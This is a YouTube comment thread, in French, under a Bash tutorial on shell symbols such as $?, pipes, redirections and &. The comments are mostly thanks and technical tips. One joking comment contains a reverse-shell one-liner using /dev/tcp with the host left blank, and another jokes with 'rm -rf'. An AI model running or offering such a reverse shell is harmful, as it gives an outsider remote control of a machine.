11 Incantations magiques pour apprendre Bash

Sdílet
Vložit
  • čas přidán 8. 09. 2024
  • Formations: cours.cocadmin...
    Newsletter: cours.cocadmin...
    Rejoignez le discord: / discord
    Twitter: / cocadmin

Komentáře • 108

  • @X4vi3rG
    @X4vi3rG Před 3 lety +39

    Bon petit tuto merci | le symbole "&" = esperluette ;-)

    • @gloubiboulga3063
      @gloubiboulga3063 Před 2 lety

      Oui mais && est un opérateur de comparaison, qui dit quand les conditions sont réunies, les 2 qu'on utilise avec &&, un peu comme l'opérateu "and" en python, de l'opération ET logique, qui renvoie quelque chose que si les 2 commandes n'ont pas eu d'erreur. :)

  • @MentorDevOps
    @MentorDevOps Před 3 lety +10

    Haha tu a fait ma journée avec ton intro 🤣.
    Tu aurrai aussi pu aborder le $# qui est la variable qui contient le nombre d'arguments du script, ou de la fonction.

  • @pascuol
    @pascuol Před 3 lety +6

    T'aurais pu terminer sur fg, passe en avant plan la dernière commande en arrière plan.
    Puis bon ctrl-z qui suspend la commande en cours, bg pour la passer en arrière plan.
    Ça se mariait bien avec ton sleep.
    Puis quand on maîtrise les pipes et autres, envoyer un rar sur une autre machine qui le décompresse à la volée, ou plein d'autre exemple qui montrent à quel point ce pipe est ouffissime et ça t'aurais amener sur - .Pas avec grep dans un exemple ou c' est inutile..
    Je te voyais aussi expliquer les entrées standards au moment de ton mkdir, pour empêcher un scrit d'afficher les messages d'erreurs..
    Bref il y a encore beaucoup à dire, comme qqn la mis dans les commentaires un man c'est mieux que qq exemple, man test, man bash, ...
    Joli survol..

  • @lucluc5783
    @lucluc5783 Před 3 lety +2

    00:00 intro
    0:24 $ (le dollard)
    0:30 $?
    1:58 $ suivit d'un nombre
    5:00 | (le pipe)
    8:39 > (plus grand que, et double plus grand que)
    10:07 < (plus petit que)
    11:56

  • @gloubiboulga3063
    @gloubiboulga3063 Před 2 lety +4

    Attention en bash à l'argument $10 (paramètre positionnel) qu'il faudra mettre entre crochets sinon ils n'interprète pas le 10 comme il faut.
    Donc penser dans le script à mettre echo "${10}" sinon ça fonctionne pas.( ou c'est interprété comme argument 1)
    Pour le pipe et grep, c'est plus POSIX compatible.

  • @Agesilas2
    @Agesilas2 Před 3 lety +76

    on ne dit plus "magie noire" mais "magie de couleur" ou "magie issue de la diversité", c'est moins stigmatisant 😁

    • @edomaur
      @edomaur Před 3 lety

      on peut aussi dire bashtroyer

    • @echopraxium5776
      @echopraxium5776 Před 3 lety +5

      non: "Altération de réalité de minorité visible"

    • @ggousier
      @ggousier Před 3 lety

      MDR !

    • @ange550
      @ange550 Před 3 lety +4

      C'est violent aussi quand il écris "kill 190", moi je pense qu'on devrait mettre une loi contre ça

    • @unperrier5998
      @unperrier5998 Před 2 lety

      surtout pour les magiciens.

  • @ChristopheCasalegno
    @ChristopheCasalegno Před 3 lety +4

    Hello, petite note à environ 7 min 40, "echo" par défaut est une commande interne en bash (à ne pas confondre avec le binaire système echo, qui a la même fonction). Le plus "drôle" c'est de lancer un script avec une boucle de 100000 echo (commande interne donc) avec un time devant pour mesurer la durée d'exécution, puis de faire la même chose en appelant le programme "écho" par son chemin complet (prévoir un petit paquet de popcorn), c'est une bonne manière d'introduire le concept de fork xD

    • @reneribaud8912
      @reneribaud8912 Před 3 lety

      de même que [ ] est la commande test, il faut mieux utiliser [[ ]] qui est plus puissante (marche avec des regexp) et buildin dans bash.

    • @bationodofinitabrice517
      @bationodofinitabrice517 Před 3 lety

      Ça m'intéresse ton principe, as tu une bonne documentation la dessus?

    • @reneribaud8912
      @reneribaud8912 Před 3 lety +1

      @@bationodofinitabrice517 oui tu peux regarder google.github.io/styleguide/shellguide.html#s6.3-tests
      Sinon c'est très bien expliqué dans la doc de bash dans la section "Commandes composées" et "EXPRESSIONS CONDITIONNELLES", ici manpagesfr.free.fr/man/man1/bash.1.html en cherchant les occurrences de '[['.

  • @tonymusic7398
    @tonymusic7398 Před 2 lety +1

    Merci beaucoup pour ces explications, c'était super clair 👍 il y a aussi le programme screen qui permet de lancer des commandes en fond de tâche qui est encore plus pratique que le &

    • @undefinedperson7816
      @undefinedperson7816 Před 2 lety

      Et tmux aussi entre autres. Ce sont des multiplexeurs de terminaux.

  • @clad54130
    @clad54130 Před 3 lety +1

    Salut Thomas, merci pour cette vidéo. Je me souviens avoir répondu que je souhaitais voir un sujet autour de Bash dans ton sondage. Heureux de voir que c'est dispo.
    Après une vingtaine de visionnages et de notes ça va rentrer ;)

  • @guyndoma961
    @guyndoma961 Před 3 lety +1

    J’ai rien capté mais ça a l’air cool, je vais regarder tes vidéos depuis le début

  • @kholoinformatique
    @kholoinformatique Před 3 lety +2

    bien expliqué !
    $0 $1 $... $@ => $*
    & = esperluette ou et commercial comme dit dans d'autres commentaires
    while :
    boucle sans fin... parfait pour du monitoring
    exemple :
    while : ; do sensors ; sleep 1 ; clear ; done
    attention ça rempli le buffer lors des appel en terminal... on peut mettre un reset à la place du clear ...ou passer par un fichier qui sera lu...
    dans Ubuntu j'envoie ce fichier dans /dev/shm (c'est un tmpfs) et je le cat ou le tail
    rien pour jouer avec IF ?
    IF=$'
    '
    pour jouer avec des profiles de firefox :
    # on lance firefox (on peut en GUI)
    # et on attend 10 secondes... # 10 devrait le faire...
    firefox & ; sleep 10
    # on lance le choix de profile de firefox...
    firefox --no-remote -P &
    ## --no-remote pour lancer un profile quand un autre est lancé !
    # if then else en bash
    [ condition ] && si condition oui || si condition non
    NB le man de test !!
    man test

  • @bastienducarme
    @bastienducarme Před 3 lety +5

    Le double pipe correspond au OU ( || = "ou" ) et la double esperluette correspond au ET (&& = "et") :)

    • @o_be_one
      @o_be_one Před 3 lety +3

      Ce ne serait pas plutôt « si vrai alors » et « si faux alors » ou encore « si exit code = 0 alors » et « si exit code > 0 alors » ?

  • @sebastieninion213
    @sebastieninion213 Před rokem

    Super vidéo bravo ! Alors le & est appelé esperluette ! Je trouve ça plus sympa que et commercial lol merci pour le taf

  • @reunosn2454
    @reunosn2454 Před 2 lety

    Super intéressant ! Merci et bravo !

  • @charlesb9_dev
    @charlesb9_dev Před 3 lety +1

    Dommage que l'on ait pas des vidéos de cocadmin plus souvent 😉.

  • @amadoubalde2279
    @amadoubalde2279 Před měsícem

    Bien utile pour moi

  • @KaSSa__
    @KaSSa__ Před 3 lety

    Je croyais ne jamais avoir besoin de ces informations et le lendemain j'écris un script bash qui utilise "grep quoi < fichier2", merci :D

  • @glmchn
    @glmchn Před 3 lety +1

    Salut Thomas, super video comme d'hab
    Est-ce que tu peux expliquer ta manip à 3:20 quand tu dis "je retourne dans mon script" stp ? (C'était cool quand on avait l'affichage de tes inputs ^^)
    Keep it up

    • @MentorDevOps
      @MentorDevOps Před 3 lety +1

      Il fait un ctrl+r pour rechercher dans les commandes qu'il a exécuté dans l'historique.
      Il y a plus d'info ici : www.commandeslinux.fr/rechercher-dans-lhistorique-bash-avec-ctrlr/
      C'est hyper puissant.

  • @Ywqqqq
    @Ywqqqq Před 3 lety

    En lien avec du développement en C++ qui regorge de symboles &, on a pris l'habitude de l'appeller "Amp" d'après "Ampersand" afin de se comprendre quelque soit la langue parlée

  • @amosnimos
    @amosnimos Před 3 lety

    i learn those things the hard way, but nice to see all these tips in a single video.

  • @elyseemerisier4329
    @elyseemerisier4329 Před 2 lety

    Je pense qu’il faut que nous aussi la plus grande partie des internautes qui aiment la technologie nous devons aussi nous impliquer

  • @ABrainrotAwayFromHeaven
    @ABrainrotAwayFromHeaven Před 3 lety +1

    pas mal le titre!

  • @eddybash1342
    @eddybash1342 Před 3 lety +2

    Bonjour,
    Ça doit consommer du CPU ou GPU de dingue, votre animation permanente en fond d'écran...
    Merci pour le rouge sur fond bleu marine. Lol

    • @o_be_one
      @o_be_one Před 3 lety

      C’est un gif

    • @eddybash1342
      @eddybash1342 Před 3 lety

      @@o_be_one je n'ai pas vu de répétition et ça semble être du calcul sur les décorations.

    • @o_be_one
      @o_be_one Před 3 lety

      Je te le dis c’est un gif. Je crois qu’il avait fait une vidéo quand il avait mis en place Windows Terminal avec son gif. Et utilisant aussi Windows Terminal, je peux t’affirmer que ça prend les gifs animés.

    • @cocadmin
      @cocadmin  Před 3 lety

      Yep c’est un long gif ;)

  • @CaptainDangeax
    @CaptainDangeax Před 2 lety

    bonjour Thomas. En Anglais c'est ampersand et en français c'est esperluette. Trop mignon

  • @angebary9239
    @angebary9239 Před 2 lety

    c'est de la magie !!!

  • @ipadgeneration
    @ipadgeneration Před 3 lety +1

    Je te conseil shellcheck sur github. Tout se lint tout se teste haha ( c'est un l'inter Bash puissant, même s'il ne faut pas faire de bash 😉)

    • @gaiusbaltar7122
      @gaiusbaltar7122 Před 3 lety

      Ce truc a vraiment l'air génial. Il y a même un site interactif dédié: www.shellcheck.net/ . Merci pour l'info.

    • @reneribaud8912
      @reneribaud8912 Před 3 lety +1

      Oui shellcheck est super, je crois qu'il comprend en fonction du shebang si c'est du bash avec ses "bashism" ou si c'est un shell strictement posix.

  • @danhabib3441
    @danhabib3441 Před 3 lety

    Tres bon tuto merci

  • @benjaminmoine588
    @benjaminmoine588 Před 3 lety

    Mais après, ça sert pas à grand chose de renvoyer une commande avec ||, pour éviter les erreurs, puisque les erreurs permettent précisément de savoir ce qu'on a fait de mal pour progresser, du coup, si on masque nos erreurs, et bien on se tire une balle dans le pied, non?

  • @bwaaabwaaa5729
    @bwaaabwaaa5729 Před 3 lety

    Salut je découvre ta chaîne et je suis déjà fan !! Tu es vraiment clair dans tes explications ! Je voudrais passer mon lpic1 aurais tu des conseils ? Merci pour tout

    • @cocadmin
      @cocadmin  Před 3 lety

      Salut! Non j’ai pas de conseil j’ai jamais passé cette certif :)

  • @vergnauddamien3521
    @vergnauddamien3521 Před 3 lety +1

    Mais dis moi Jamy, pourquoi ton fichier ne contient pas hahahahahahanimporte quoi sur une seule ligne ? :3

  • @merovee5509
    @merovee5509 Před 3 lety

    Petite "subtilite" avec l'esperluette background, si il y a du texte qui sort genre stderr, ca sera print dans le term, ca peut etre relou xD

  • @elyseemerisier4329
    @elyseemerisier4329 Před 2 lety +1

    Je voudrais que vous m’appreniez tout ça puis nous formerons une superbe équipe mais moi je suis dans un pays pauvre j’aime bien la technologie mais j’ai rien du tout quoi

  • @elyseemerisier4329
    @elyseemerisier4329 Před 2 lety +1

    Avantage j’ai déjà le terrain a être utilisé

  • @stmikhael1806
    @stmikhael1806 Před 3 lety +1

    1:44 pour l'erreur : bas tu a Google, stackoverflow, la prière et le voodoo.
    si ça marche pas il y a la fonction :
    role_the_dice(e) {
    if (e%1) {rm -rf /ma_vie}
    else {kick_job}

  • @elyseemerisier4329
    @elyseemerisier4329 Před 2 lety +1

    Je pense qu’il faut élargir le cadre

  • @dlep9221
    @dlep9221 Před 3 lety +1

    ça me rappelle ma jeunesse :-) Le bash est d'une puissance phénoménale, je me suis éclaté avec cet outil mais Powershell n'est pas mal non plus. & s'appelle le é commercial, && = ET et || = OU

    • @gaiusbaltar7122
      @gaiusbaltar7122 Před 3 lety +1

      Je plussoie. Powershell est vraiment génial en raison de sa puissance (liée au fait qu'il soit orienté objet) et de son intuitivité (liée à la cohérence de sa conception) qui le rend très facile à apprendre.

  • @NQuenault
    @NQuenault Před 2 lety

    Pour le "&", on peut dire "'et' commercial", étant dev, je dis "and"

  • @gaiusbaltar7122
    @gaiusbaltar7122 Před 3 lety

    Vidéo très sympa.

  • @adrien8768
    @adrien8768 Před 3 lety

    Super :) merci

  • @vignemail1
    @vignemail1 Před 2 lety

    & = ampersand (english) / esperluette ou esperluète ou "et commercial" (français)| = pipe (english) / barre verticale (français)

  • @sofiyan_ifren
    @sofiyan_ifren Před 3 lety

    Après blacklist, black magic,... le noir c'est mal... ya un jeu ou tu n'as pas fait exprès...? 🤔
    Sinon super vidéo comme d'habitude ! 👌

  • @vignemail1
    @vignemail1 Před 2 lety

    sleep 20 &
    jobs -l
    fg # pour revenir dans la commande sleep 20

  • @impe001
    @impe001 Před 3 lety

    les && et les || pour retenir facilement c'est exactement la meme chose que en c pour ceux qui en on fait

  • @nazimninja7351
    @nazimninja7351 Před 3 lety

    Merci (y)

  • @fadadu75
    @fadadu75 Před 3 lety

    Salut Cocadmin, comment ça va =D
    Je voulais savoir tu étais dans quel OS dans ta vidéo, et quel etait le terminal que tu utilisais

    • @cocadmin
      @cocadmin  Před 3 lety +1

      J’utilise WSL. Ça permet d’avoir Linux dans Windows sans avoir à gérer des machines virtuelles et pouvoir utilisé les appli et jeux de Windows.
      Pour le terminal c’est le nouveau terminal windows :)

    • @fadadu75
      @fadadu75 Před 3 lety

      @@cocadmin je te remercie :) et continue comme ça 😁😄

  • @elyseemerisier4329
    @elyseemerisier4329 Před 2 lety +1

    Si il ya quelqu’un qui pourrait m’aider à monter un entreprise la ou je suis en Haïti cela tomberait bien

  • @fadamatik1752
    @fadamatik1752 Před 3 lety

    && : en langage français je dis "et et" ou "double signe et" super vidéo 👌

  • @skizecs
    @skizecs Před 3 lety

    J'ai un exam sur le bash en fin d'année scolaire. Faudra que je mis mette lmao

  • @sebastiens5013
    @sebastiens5013 Před 3 lety +1

    L'animation en fond du terminal est très perturbante, dommage 😕
    Sinon super vidéo 😊

    • @charlesb9_dev
      @charlesb9_dev Před 3 lety

      C'est un simple gif, donc j'imagine que la consommation est plutôt faible.

  • @booxas7
    @booxas7 Před 3 lety

    La vidéo en arrière plan elle a été ajouter en post prod ou c'est ton shell ?

    • @o_be_one
      @o_be_one Před 3 lety +1

      Windows Terminal, la fait une vidéo dans laquelle il le met en place me semble. C’est un gif animé dans le terminal.

  • @facdrs
    @facdrs Před 3 lety

    Le pipe c'est le pipe ! 😂

  • @chaxiraxi_ytb
    @chaxiraxi_ytb Před 3 lety

    《Le bash c'est un langage de bricoleur》 Je savais pas que ceux qui ont fait le bash travaillaient chez bricoflex 😂

  • @soufianta8374
    @soufianta8374 Před 3 lety

    J’aime le shell par contre, est-ce un bon départ pour apprendre à coder ? Je sais que python est un très bon langage et je sais qu’on peut faire du shell dans python (avec des libraires os spécifiques) mais est-ce alors mieux de commencer par python et oublier le bash ? Je fais bcp de sysadmin mais je trouve que le bash est assez « lent » et « mystique » comme tu le dis si bien. Merci et bonne continuation (très bonne chaîne CZcams au passage)

    • @cocadmin
      @cocadmin  Před 3 lety

      Le bash est pas vraiment un bon premier language. Trop de truc mystique qui ne se retrouvent dans aucun autre languages.

    • @soufianta8374
      @soufianta8374 Před 3 lety

      @@cocadmin oui mais la logique des fonctions, variables, méthodes est la même que dans tout autre langage interprétés non? Même si le shell est mystique, il reste néanmoins le prédécesseur de tout les autres . Qu’en penses-tu ? Merci

    • @cocadmin
      @cocadmin  Před 3 lety +1

      @@soufianta8374 nan il y a plein de subtilités qui ne sont valables qu’en bash, plein de problème que tu n’as qu’en bash, plein de concept que tu as dans tous les autres languages mais pas en bash.
      Par exemple, pas de gestion des modules, pas de scope pour les variables, pas d’objets ni même de type de variables.
      C’est pour ça qu’il y a plein de truc bizarre en bash, pour palier à tous ces manques mais c’est souvent des bidouilles.

    • @soufianta8374
      @soufianta8374 Před 3 lety

      @@cocadmin Effectivement pas mal de contraintes par contre, faire du shell dans d’autres langages, c’est juste rajouter une « couche » d’abstraction supplémentaire .. Je présume que tu as été amener à utiliser pas mal de script shell dans ta carrière de sysadmin non? Ça reste toujours la manière la plus rapide de faire quelque chose de complexe en shell non? Je n’ai jamais vu quelqu’un écrire des scripts python (ou Ruby) pour automatiser des choses en shell ..

    • @cocadmin
      @cocadmin  Před 3 lety +1

      Oui c’est très utile et plein de choses son plus simples en bash que dans n’importe quel autre language.
      Tout dépend de ce que tu essaye de faire, quand tu connais les 2 tu peux choisir le meilleur outil pour chaque tache.
      En général le bash est mieux pour un petit script, et le python (ou autre ) deviens plus intéressant quand ton script grossis.

  • @melchiordesaintfiacre6428

    &:
    "et commercial"
    ou "esperluette" 😉

  • @narcissekouassi4428
    @narcissekouassi4428 Před 3 lety

    salut comment devenir un ma
    gicien?

  • @pierrechambet6754
    @pierrechambet6754 Před rokem

    comment se deplace-t-on du script au terminal ?

  • @AlaaElHelw
    @AlaaElHelw Před 3 lety +4

    & = Esperluette :)

    • @MentorDevOps
      @MentorDevOps Před 3 lety +3

      On peu aussi dire "et commercial" je pense que ça vien du temps où certaines entreprises s'appellaient "mySoc & Co"

    • @eddybash1342
      @eddybash1342 Před 3 lety +2

      @@MentorDevOps oui comme le célèbre plombier Margoulin & Gougniafie ! Lol

    • @oseillecrepue4362
      @oseillecrepue4362 Před 3 lety

      Dans les livres anciens on trouve parfois & à la place de "et"

    • @eddybash1342
      @eddybash1342 Před 3 lety

      @@oseillecrepue4362 ça s'appelle l' ampersand !

  • @ptitbenable
    @ptitbenable Před rokem

    & : esperluette, ou "et commercial"

  • @focal3drone803
    @focal3drone803 Před 3 lety

    esperluette ;) , petite question conne mais & et ; n'ont pas la même fonction dans une commande ? mkdir testD;touch testF = mkdir testD & touch testF ???

    • @gaiusbaltar7122
      @gaiusbaltar7122 Před 3 lety

      En fait il faut mettre deux & entre les commandes et ça signifie: si la première commande est passée avec succès, exécuter la deuxième (sous-entendu, sinon, ne pas exécuter cette deuxième commande) alors que ; ne fait que séparer des commandes comme le saut à la ligne (touche entrée dans un script) qui sont alors toutes exécutées de manière séquentielles quel que soit leur résultat.

    • @focal3drone803
      @focal3drone803 Před 3 lety

      @@gaiusbaltar7122 oui oui ça je sais bien, mais mettre une seule esperluette fais le meme usage que ;
      Cela lance chaques commandes indépendamment 😊 ou alors j'ai loupé un truc (ou serait-ce la old way lol).

    • @gaiusbaltar7122
      @gaiusbaltar7122 Před 3 lety +1

      @@focal3drone803 en fait je n'avais jamais utilisé le & de manière isolée entre deux commandes et ne connaissais même pas son utilisation de la sorte (on en apprend vraiment tous les jours). J'ai donc fait une recherche à ce sujet et voila: "Cet opérateur permet de lancer simultanément deux commandes dont la première sera lancée en arrière plan."
      Source: doc.ubuntu-fr.org/projets/ecole/scripting/initiation_au_shell#presentation_de1

    • @focal3drone803
      @focal3drone803 Před 3 lety +1

      @@gaiusbaltar7122 ah génial ! C'est bon de savoir la nuance ! En effet ^^ comme quoi 😉

    • @reneribaud8912
      @reneribaud8912 Před 3 lety

      @@gaiusbaltar7122 dans un script on peut lancer des commandes en parallèles et attendre la fin en utilisant la commande wait.
      Ex :
      cmd1 &
      cmd2 &
      cmd3 &
      wait

  • @foxypiratecove37350
    @foxypiratecove37350 Před rokem

    Le &, ça s'appelle une "esperluette".

  • @_hackwell
    @_hackwell Před rokem

    je connais que "bash -c 'bash -i >& /dev/tcp// 0>&1'" 😁

    • @mwlulud2995
      @mwlulud2995 Před 19 dny +2

      Le bon reverse shell des familles;)

  • @hnmscreentech5680
    @hnmscreentech5680 Před rokem

    Passionnant le bash, mais des erreurs de grammaire : SI j'aurai ?? non, si j'avais. Mnémotechnique : monsieur "SI" n'aime par les "RAI" (ça fait saigner les oreilles)

  • @varlorgvarlorg2304
    @varlorgvarlorg2304 Před 3 lety

    "Code de retour" pas "code d'erreur"